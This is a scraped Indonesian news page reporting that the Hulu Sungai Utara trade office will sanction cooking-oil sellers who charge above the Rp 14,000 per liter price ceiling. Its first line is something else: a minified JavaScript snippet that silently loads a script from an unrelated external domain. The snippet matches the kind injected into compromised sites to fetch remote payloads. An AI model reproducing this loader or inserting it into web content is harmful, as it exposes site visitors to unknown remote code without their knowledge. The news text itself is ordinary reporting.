(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU) siap beri sanksi tegas kepada pedagang atau agen yang menjual minyak goreng di atas HET (harga eceran tertinggi) Rp 14 ribu per liter. Ancaman sanksi mulai sanksi administrasi hingga perizinan.
Kabid Perdagangan Diskoperindag HSU, HM Isnaini, memastikan pihaknya akan terus melakukan operasi pasar sekaligus memantau harga bahan kebutuhan pokok dipasaran khususnya produk minyak goreng.
“Untuk agen dan pengecer akan terus kita pantau sampai bulan Juni 2022, semisal ada agen atau pengecer yang masih menjual harga tinggi maka akan kita berikan sanksi tertulis hingga penindakan pencabutan perizinan berusaha,” terang Isnaini kepada Kanalkalimantan.com, Sabtu (5/2/2022).
Pemberlakuan HET dimulai per 1 Februari 2022 untuk minyak goreng sawit sesuai Peraturan Menteri Perdagangan (Permendag) Nomor 6 Tahun 2022 adalah minyak goreng curah Rp 11.500 per liter, minyak goreng kemasan sederhana Rp 13.500 per liter dan minyak goreng kemasan premium Rp 14.000 per liter.
Baca juga : Pasar Wadai Ramadhan Banjarbaru Bakal Dibuka, Hutan Pinus Mentaos Salah Satu Pilihan Lokasi
Lebih jauh, pihaknya juga akan terus melakukan pengawasan dan pemahaman kepada masyarakat antara distributor, agen hingga ke pengecer guna memastikan penyesuaian penerapan HET minyak goreng sesuai ketentuan.
“Jadi perlu lagi kita melakukan pengawasan di lapangan (pasar), apakah mereka sudah melakukan sesuai apa yang telah diatur dalam Permendag Nomor 6 Tahun 2022,” imbuhnya.
Ia mengimbau kepada para penjual minyak goreng yang masih mempunyai stok dengan harga di atas HET Rp 14.000 agar bisa merubah sesuai yang telah ditetapkan oleh pemerintah.
“Kalau memang masih banyak stok lama yang dibeli dengan harga Rp 17.000 per liter dari pedagang besar ataupun agen, mereka kami sarankan mengembalikan ke pedagang besar ataupun agen agar nanti dihargai oleh distributor per liternya Rp 14.000 per liter sampai ke konsumen,” pungkasnya. (kanalkalimantan.com/dew)
Reporter : dew
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Dua buah Rancangan Peraturan Daerah (Raperda) Kota Banjarbaru disahkan dalam rapat paripurna… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bentuk kepedulian terhadap masyarakat, Unit Binmas Polsek Banjarbaru Utara memberikan bantuan sebuah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Aktivitas peternakan babi di Kota Banjarbaru kembali menjadi sorotan. Selain dikeluhkan atas… Read More
KANALKALIMANTAN.COM.COM, BANJARMASIN - Kepolisian Reskrim Polsek Banjarmasin Barat dan tim gabungan berhasil menangkap ARM (21),… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puluhan peternak babi di Jalan Pandarapan RT 34 RW 5, Kelurahan Guntung… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More
This website uses cookies.